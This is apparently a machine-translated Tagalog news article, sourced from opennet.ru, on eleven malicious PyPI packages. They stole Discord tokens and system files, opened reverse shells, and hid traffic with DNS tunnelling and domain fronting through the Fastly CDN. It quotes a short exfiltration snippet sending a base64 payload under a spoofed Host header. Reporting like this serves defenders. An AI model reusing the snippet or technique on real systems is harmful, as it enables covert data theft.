Natukoy ang mga nakakahamak na aklatan sa catalog ng PyPI na gumagamit ng PyPI CDN upang itago ang channel ng komunikasyon

Sa direktoryo ng PyPI (Python Package Index), 11 pakete na naglalaman ng malisyosong code ang natukoy. Bago matukoy ang mga problema, ang mga pakete ay na-download nang halos 38 libong beses sa kabuuan. Ang mga nakitang malisyosong pakete ay kapansin-pansin sa kanilang paggamit ng mga sopistikadong pamamaraan upang itago ang mga channel ng komunikasyon sa mga server ng mga umaatake.

  • importantpackage (6305 downloads), important-package (12897) - nagtatag ng koneksyon sa isang panlabas na server sa ilalim ng pagkukunwari ng pagkonekta sa pypi.python.org upang magbigay ng shell access sa system (reverse shell) at ginamit ang trevorc2 program upang itago ang channel ng komunikasyon.
  • pptest (10001), ipboards (946) - ginamit ang DNS bilang isang channel ng komunikasyon upang magpadala ng impormasyon tungkol sa system (sa unang packet ang host name, working directory, internal at external na IP, sa pangalawa - ang user name at host name) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - natukoy ang token ng serbisyo ng Discord sa system at ipinadala ito sa isang panlabas na host.
  • trrfab (287) - ipinadala ang identifier, pangalan ng host at mga nilalaman ng /etc/passwd, /etc/hosts, /home sa panlabas na host.
  • 10Cent10 (490) - nagtatag ng isang reverse shell na koneksyon sa isang panlabas na host.
  • yandex-yt (4183) - nagpakita ng mensahe tungkol sa system na nakompromiso at na-redirect sa isang pahina na may karagdagang impormasyon tungkol sa karagdagang mga aksyon na ibinigay sa pamamagitan ng nda.ya.ru (api.ya.cc).

Ang partikular na tala ay ang paraan ng pag-access sa mga panlabas na host na ginagamit sa importantpackage at mahalagang-package na mga pakete, na ginamit ang Fastly na network ng paghahatid ng nilalaman na ginamit sa direktoryo ng PyPI upang itago ang kanilang aktibidad. Sa katunayan, ipinadala ang mga kahilingan sa server ng pypi.python.org (kabilang ang pagtukoy sa pangalang python.org sa SNI sa loob ng kahilingan sa HTTPS), ngunit kasama sa header ng HTTP β€œHost” ang pangalan ng server na kinokontrol ng mga umaatake (sec. forward.io. global.prod.fastly.net). Nagpadala ang network ng paghahatid ng nilalaman ng katulad na kahilingan sa umaatakeng server, gamit ang mga parameter ng koneksyon ng TLS sa pypi.python.org kapag nagpapadala ng data.

Ang imprastraktura ng PyPI ay pinapagana ng Fastly na network ng paghahatid ng nilalaman, na gumagamit ng Varnish transparent na proxy upang i-cache ang mga tipikal na kahilingan, at gumagamit din ng pagpoproseso ng TLS certificate sa antas ng CDN, sa halip na sa mga end server, upang ipasa ang mga kahilingan sa HTTPS sa pamamagitan ng isang proxy. Anuman ang target na host, ipinapadala ang mga kahilingan sa proxy, na tumutukoy sa gustong host gamit ang header na "Host" ng HTTP, at ang mga domain name ng host ay nakatali sa mga IP address ng load balancer ng CDN na karaniwan para sa lahat ng kliyente ng Fastly.

Ang server ng mga umaatake ay nagrerehistro din sa CDN Mabilis, na nagbibigay ng mga libreng plano sa lahat at kahit na pinapayagan ang hindi nagpapakilalang pagpaparehistro. Kapansin-pansin na upang magpadala ng mga kahilingan sa biktima kapag lumilikha ng isang "reverse shell", ginagamit din ang isang scheme, ngunit sinimulan mula sa gilid ng host ng attacker. Mula sa labas, ang pakikipag-ugnayan sa server ng mga umaatake ay mukhang isang lehitimong session sa direktoryo ng PyPI, na naka-encrypt gamit ang isang PyPI TLS certificate. Ang isang katulad na pamamaraan, na kilala bilang "domain fronting," ay dating aktibong ginamit upang itago ang pangalan ng host kapag nilalampasan ang pagharang, gamit ang kakayahang ibinigay sa ilang mga network ng CDN upang ma-access ang HTTPS sa pamamagitan ng pagpahiwatig ng isang gawa-gawang host sa SNI at aktwal na pagpapadala ng pangalan ng humiling ng host sa header ng HTTP Host sa loob ng session ng TLS.

Natukoy ang mga nakakahamak na aklatan sa catalog ng PyPI na gumagamit ng PyPI CDN upang itago ang channel ng komunikasyon

Upang itago ang nakakahamak na aktibidad, ang TrevorC2 package ay ginamit din upang gumawa ng pakikipag-ugnayan sa server na katulad ng regular na web navigation, halimbawa, ang mga nakakahamak na kahilingan ay ipinadala sa ilalim ng pagkukunwari ng pag-download ng larawang β€œhttps://pypi.python.org/images/ guid=" na may pag-encode ng impormasyon sa guid parameter. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Ang mga pakete ng pptest at ipboards ay gumamit ng ibang diskarte upang itago ang aktibidad ng network, batay sa pag-encode ng kapaki-pakinabang na impormasyon sa mga query sa DNS server. Ang malware ay nagpapadala ng impormasyon sa pamamagitan ng pagsasagawa ng mga kahilingan sa DNS tulad ng "nu4timjagq4fimbuhe.example.com", kung saan ang data na ipinadala sa control server ay naka-encode gamit ang base64 na format sa pangalan ng subdomain. Natatanggap ng attacker ang mga mensaheng ito sa pamamagitan ng pagkontrol sa DNS server para sa example.com na domain.

Pinagmulan: opennet.ru

Magdagdag ng komento